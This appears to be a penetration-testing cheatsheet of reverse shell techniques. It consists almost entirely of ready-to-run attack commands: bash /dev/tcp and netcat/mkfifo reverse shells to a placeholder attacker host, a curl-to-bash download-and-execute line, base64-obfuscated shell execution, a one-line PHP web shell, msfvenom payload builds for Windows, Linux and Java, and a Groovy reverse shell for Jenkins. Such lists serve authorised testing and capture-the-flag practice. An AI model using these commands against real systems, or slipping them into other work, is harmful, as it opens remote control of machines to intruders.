Shell
Shell cheatsheet
Shell
Reverse shell
1
2
#!/bin/bash
bash -i >& /dev/tcp/<lhost>/<lport> 0>&1
1
curl http://<lhost>/shell.sh|bash
1
2
3
echo -n "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1" | base64
echo <base64-shell> | base64 -d | bash
{echo,<base64-shell>}|{base64,-d}|bash
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc <lhost> <lport> >/tmp/f
1
<?php system($_REQUEST['cmd']); ?>
Listen for reverse shell with netcat:
1
nc -nvlp <port>
Msfvenom
1
2
3
4
5
6
7
8
msfvenom -l payloads
msfvenom -p windows/shell/reverse_tcp LHOST=<lhost> LPORT=<lport> -f exe > shell.exe
msfvenom -p windows/shell/reverse_tcp LHOST=<lhost> LPORT=<lport> -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -f war > shell.war
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<lhost> LPORT=<lport> -f elf > shell.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -f elf > shell.elf
Groovy (for Jenkins)
1
2
3
4
String host="<lhost>";
int port=9001;
String cmd="whoami";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Interactive shell
Linux
python3 -c 'import pty; pty.spawn("/bin/bash")'CTRL+Zstty raw -echo && fg
Windows
1
rlwrap nc -nvlp <port>
This post is licensed under CC BY 4.0 by the author.